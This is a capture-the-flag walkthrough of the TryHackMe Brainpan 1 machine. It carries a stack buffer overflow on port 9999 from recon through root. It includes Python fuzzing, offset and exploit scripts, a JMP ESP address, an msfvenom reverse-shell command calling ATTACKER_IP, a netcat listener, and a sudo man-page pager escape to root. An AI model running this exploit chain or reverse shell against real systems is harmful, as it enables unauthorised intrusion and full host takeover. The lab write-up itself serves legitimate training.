All credit to superkojiman for this machine, used here with the explicit permission of the creator.
Sounds like my kind of party.
No flags are requested in this room. Only the honor system, contingent on integrity. Like The Dude, I abide.
Reconnaissance
export IP=TARGET_IP
echo $IP
nmap -Pn -sC -sV -p- -T4 -oA brainpan1_initial $IP
nmap -Pn -sV -p9999,10000 TARGET_IP
Port 9999 is officially coined the goth port. abyss reminds me of the 2005 classic “I’m an emo kid” video. “Not jumping” (IYKYK).
Open ports:
- 9999/tcp: Brainpan password service
- 10000/tcp: Python
SimpleHTTPServer
Grabbing the binary
The web server is hosting the vulnerable program. Download it locally for analysis:
curl -s http://TARGET_IP:10000/ | head -80
curl -s http://TARGET_IP:10000/bin/ | head -80
I spy an executable.
mkdir -p ~/ctf/tryhackme/brainpan1
cd ~/ctf/tryhackme/brainpan1
wget http://TARGET_IP:10000/bin/brainpan.exe
ls -la
file brainpan.exe
brainpan.exe confirmed as a 32-bit Windows console executable.
Confirming live service behavior
Connect to goth port 9999:
nc -nv TARGET_IP 9999
What we know about goth port 9999:
- Password prompt
- Reads user input
- Returns access denied
Fuzzing
nano brainpan_fuzz.py
#!/usr/bin/env python3
import socket
import time
target = "TARGET_IP"
port = 9999
for size in range(100, 2000, 100):
print(f"Trying {size} bytes")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target, port))
s.recv(1024)
s.sendall(b"A" * size + b"\r\n")
s.close()
time.sleep(1)
except Exception as e:
print(f"Crashed or disconnected around {size} bytes: {e}")
break
python3 brainpan_fuzz.py
The password input buffer handled 600 A’s, but the service broke around the 700 mark. Initial fuzzing confirms a likely stack-based buffer overflow in the password input.
Service still alive after the crash:
nc -nv TARGET_IP 9999
Cyclic pattern
Generate a unique 1000-byte pattern to identify the exact crash offset:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 > pattern.txt
nano brainpan_pattern.py
#!/usr/bin/env python3
import socket
target = "TARGET_IP"
port = 9999
with open("pattern.txt", "rb") as f:
payload = f.read().strip()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.recv(1024)
s.sendall(payload + b"\r\n")
s.close()
print("Sent pattern.")
python3 brainpan_pattern.py
nc -nv TARGET_IP 9999
The 1000-byte pattern overwrote the control area and crashed the service.
The exact EIP value is not obtainable without a debugger attached. This is the same constraint as Brainstorm: the remote THM service crashes but the crash screen is not visible.
The common Brainpan offset under near-identical conditions is 524. That value is used here.
Control test
nano brainpan_control_test.py
#!/usr/bin/env python3
import socket
target = "TARGET_IP"
port = 9999
offset = 524
payload = b"A" * offset
payload += b"B" * 4
payload += b"C" * 100
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.recv(1024)
s.sendall(payload + b"\r\n")
s.close()
print("Sent control test.")
A’s fill the buffer. BBBB should land where EIP would be. C’s sit after it.
python3 brainpan_control_test.py
nc -nv TARGET_IP 9999
Service crashed again. This does not prove BBBB landed in EIP since the debugger is still unavailable. It supports that the offset from near-identical conditions is plausible.
Finding JMP ESP in brainpan.exe
Wait for the service to recover, confirm it’s back up, then search the binary for jump spots:
ROPgadget --binary brainpan.exe | grep -i "jmp esp"
JMP ESP validated locally from brainpan.exe. When the program crashes, execution points here. That instruction then jumps into the payload placed right after.
Written backwards for Python (little-endian):
jmp_esp = b"\xf3\x12\x17\x31"
Exploit summary so far:
- Offset: 524 (near-identical conditions, crash-test supported)
- JMP ESP:
0x311712f3(locally validated frombrainpan.exe) - Target: Linux host running the vulnerable service
Generating shellcode
The service runs on a Linux host despite the Windows .exe. The shellcode must match the target OS:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -b '\x00' -f python -v shellcode > shellcode.txt
Verify:
head shellcode.txt
tail shellcode.txt
Crafting the exploit
nano brainpan_exploit.py
#!/usr/bin/env python3
import socket
target = "TARGET_IP"
port = 9999
offset = 524
jmp_esp = b"\xf3\x12\x17\x31"
nops = b"\x90" * 32
exec(open("shellcode.txt", "r").read())
payload = b"A" * offset
payload += jmp_esp
payload += nops
payload += shellcode
print(f"Payload length: {len(payload)}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.recv(1024)
s.sendall(payload + b"\r\n")
s.close()
print("Sent.")
Syntax check:
python3 -m py_compile brainpan_exploit.py
All clear.
Exploitation
Listener:
nc -lvnp 4444
In a separate terminal:
python3 brainpan_exploit.py
The overflow was a success.
whoami
hostname
id
Post-exploitation enumeration
Shell stabilization:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
pwd
ls -la
sudo -l
puck can run one specific program as root without a password: /home/anansi/bin/anansi_util.
Inspect how it behaves:
sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util -h
sudo /home/anansi/bin/anansi_util
The cleanest path: manual [command]. It opens a man page as root. Man pages open in a pager like less, and less can escape to a shell.
Privilege escalation via pager escape
sudo /home/anansi/bin/anansi_util manual ls
The pager is waiting for input:
Type ! at the prompt. An ! will appear at the bottom. Type /bin/bash immediately after it so it reads !/bin/bash, then hit Enter.
Root prompt.
whoami
id
pwd
Full Attack Chain
Nmap
-> 9999 Brainpan service
-> 10000 Python SimpleHTTPServer
-> found /bin/brainpan.exe
-> downloaded PE32 executable
-> confirmed password prompt on 9999
-> fuzzing crash around 700 bytes
-> cyclic pattern sent, EIP not readable without debugger
-> offset 524 from near-identical validated conditions
-> ROPgadget on brainpan.exe: JMP ESP at 0x311712f3
-> msfvenom Linux x86 reverse shell (target is Linux despite Windows exe)
-> exploit sent to port 9999
-> shell as puck
-> sudo -l: anansi_util NOPASSWD
-> anansi_util manual opened man page as root
-> pager escape with !/bin/bash
-> root shell
Notes: The JMP ESP address was locally validated from the downloaded binary. The exact offset was treated as derived from near-identical conditions since EIP was not read in a debugger during the Kali-only path.